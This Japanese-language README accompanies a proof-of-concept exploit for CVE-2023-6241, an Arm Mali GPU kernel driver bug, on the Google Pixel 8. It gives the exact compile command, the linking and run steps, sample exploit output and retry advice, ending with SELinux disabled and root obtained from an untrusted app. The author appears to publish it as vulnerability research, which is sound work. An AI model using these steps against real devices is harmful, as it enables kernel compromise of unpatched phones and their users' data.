
Pixel 8用のCVE-2023-6241
解説記事はこちらでご覧いただけます。これは、2023年11月に私が報告した Arm Mali カーネルドライバーのバグです。このバグを使用すると、信頼されていないアプリドメインから任意のカーネルコード実行を達成でき、それを利用して SELinux を無効化し root を取得します。
このエクスプロイトは、2023年11月のパッチ (UD1A.231105.004) が適用された Google Pixel 8 でテストされています。OpenCL でコンパイルし、OpenCL ライブラリ libGLES_mali.so にリンクする必要があります。ライブラリは Pixel 8 デバイスの vendor/lib64/egl/libGLES_mali.so にあり、OpenCL ヘッダーファイルは KhronosGroup の OpenCL-headers リポジトリ にあります。私が使用した特定のヘッダーは v2023.04.17 バージョンですが、他のバージョンでも動作するはずです。参考までに、ndk-26 の clang でコンパイルするために次のコマンドを使用しました:
android-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_jit_csf.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_jit_csf
エクスプロイトは libGLES_mali.so にリンクする必要があります。これは LD_LIBRARY_PATH を /vendor/lib64/egl に設定することで行えます。このエクスプロイトはほとんど失敗せず、仮に失敗しても通常はシステムを破損させたりクラッシュさせたりすることはありません。そのため、失敗した場合は再実行できます。成功すると、SELinux を無効化して root を取得します。
shiba:/data/local/tmp $ LD_LIBRARY_PATH=/vendor/lib64/egl ./mali_jit_csf
mali_fd 3
corrupted_jit_addr 6000001000
kernel success
kernel success
queue kernel
jit_grow addr 6000001000
Size after grow: 22f6
Final grow size: 23c7
keep alive jit_addr 60023d1000
Size after free: 21fd, trim_level 6
writing to gpu_va 6002301000
found reused page 5fffef6000, 0
pgd entry found at index 0 40000899bbc443
overwrite addr : 5ffff00b50 b50
overwrite addr : 5fffb00b50 b50
overwrite addr : 5fff900b50 b50
overwrite addr : 5ffff00714 714
overwrite addr : 5fffb00714 714
overwrite addr : 5fff900714 714
result 50
clean up
初回実行時、エクスプロイトは最後の overwrite addr メッセージを出力した後に停止することがあります。その場合(10秒以上停止した場合。ただし、数秒間の一時停止は正常です)、エクスプロイトを kill して再実行してください。2回目は停止しないはずです。
MTE を有効にしてテストするには、こちらの手順に従ってカーネル MTE を有効にしてください。